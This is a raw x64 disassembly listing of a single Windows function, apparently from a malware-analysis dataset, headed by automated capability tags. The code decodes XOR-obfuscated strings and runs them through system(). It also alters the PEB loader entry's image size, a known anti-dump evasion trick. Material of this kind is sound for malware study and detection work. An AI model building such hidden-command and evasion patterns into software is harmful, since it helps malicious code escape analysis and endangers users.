Function at 0x140002a70
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x450
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140089080]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor r12d, r12d
movabs rsi, 0xf02d5ad63059ce77
movabs rdi, 0x31d74b696a6e2c62
movabs r14, 0xbd676747442784a8
movabs r15, 0xc60a402812ae5289
movabs r13, 0xd04a34bf4430af20
movabs r8, 0xbd6767474427cc99
movabs rbx, 0x1a5b34c38554304c
movabs rdx, 0xcb1c01cd7a6b956c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140008d00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x845932f65c2bbb14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xd30304686b1df7d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xa2782f4b61c736a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x1eba240a441e5c03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xa2533b61ee473d6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x296a05f2aa274422
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x11238151a4e4857f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xc299125434936285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xd1255a5e7718794e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xd1420bae991d6dc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc794ded7bfec869
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x95864c22e9784e63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x56c6f79a4bf3067f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x71f86d14b8427f23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x71d5218e226eaf86
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x483364fc130ab582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xac4bd4ea8792aee2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x2dda0b13f12c3f96
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x9fc4a7b4d7cb21b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rcx, 0x960aed99952ec4f2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xc73e53028f33490b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x211ab6649dd5b24d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xedae256503a25bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xe9136d6e44284b7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xe871339faf2f5ff0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6d152c8054ccff51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xf9e262418a562f0a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xafcb4ba24de2613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x2d8b1a7bdc2c1674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x8a148fc570dcaf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x3b52069d676bd1de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xcd22b586e6fff287
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xdb66777df4f5cb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xebaac2d8beb80c99
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x845932f65c2bbb14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xd30304686b1df7d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xa2782f4b61c736a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x1eba240a441e5c03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xa2533b61ee473d6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x286b06f2aa274422
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x182b8253a8e4807d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xc2971157379b6983
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xdf245e5e7618794e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xd1470aab99166ec5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x437f42e97bfdce61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xbac20d6caa33576f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x7d93d0d44d897a29
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x44f96f18b95f4a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x6ac03c9d3351b381
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x153868f43b0ea2bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xa45198abc69a8ae2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xdb66777ab2139d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xc73e53028f33490b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0x211ab6649dd5b24d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xedae256503a25bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0xe9136d6e44284b7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0xe871339faf2f5ff0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x6d152c8054ccff51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xf9e262418a562f0a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0xafcb4ba24de2613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x2d8b1a7bdc2c1674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x8a148fc570dcaf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x3b52069d676bd1de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0xcd22b586e6fff287
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xdb66777df4f5cb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x300]
vmovdqa xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x140]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x997a06ec7379aa14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xd8143b343348e0c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa256395c7bdc27ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x31b23808080f5803
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xdeccd0fe
mov dword [rbp + 0xc], 0xc7db93f1
mov word [rbp + 0x10], 0xa5
mov byte [rbp + 0x12], 1
mov rax, r12
nop word [rax + rax]
lea ecx, [rax - 0x48]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140003490
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.140008f10
nop
lea rcx, [rbp + 0x60]
call fcn.1400023e0
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140003501
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035dd
call fcn.14006c7a4
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x1400035e4
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xf002112e0207e2c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xc60a402812807ca7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140001f30
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002ade
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xd04a34bf5438a13b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9349472e2555ede5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xc60a402812ae52a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rcx, [rbp + 0x1e0]
vzeroupper
call fcn.140001f30
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x94482eb55533a03e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xbd67674744278489
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.140002180
movabs rax, 0x9f4934bf6705f434
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xcf120422377bf7df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xa77e214c4ed726e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x5bb922350f1d4d00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xc73e5302ea4b2c25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rbx, 0x1a5b34c38554304c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs r12, 0xc73e53028f33490b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x200]
vxorps xmm2, xmm2, xmmword [rbp + 0x240]
vmovdqa xmmword [rbp + 0x200], xmm2
lea rcx, [rbp + 0x1e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xa77160951035ab13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xce3b14302b43eac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x9a73344160db31ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x54a42a0b0b1a4d06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0xa246362ce55d2057
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x246914aff03a0e6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x211ab6649dd5836b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rcx, 0xedae256503a25bb6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x211ab6649dd5b24d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x240], ymm1
lea rcx, [rbp + 0x220]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3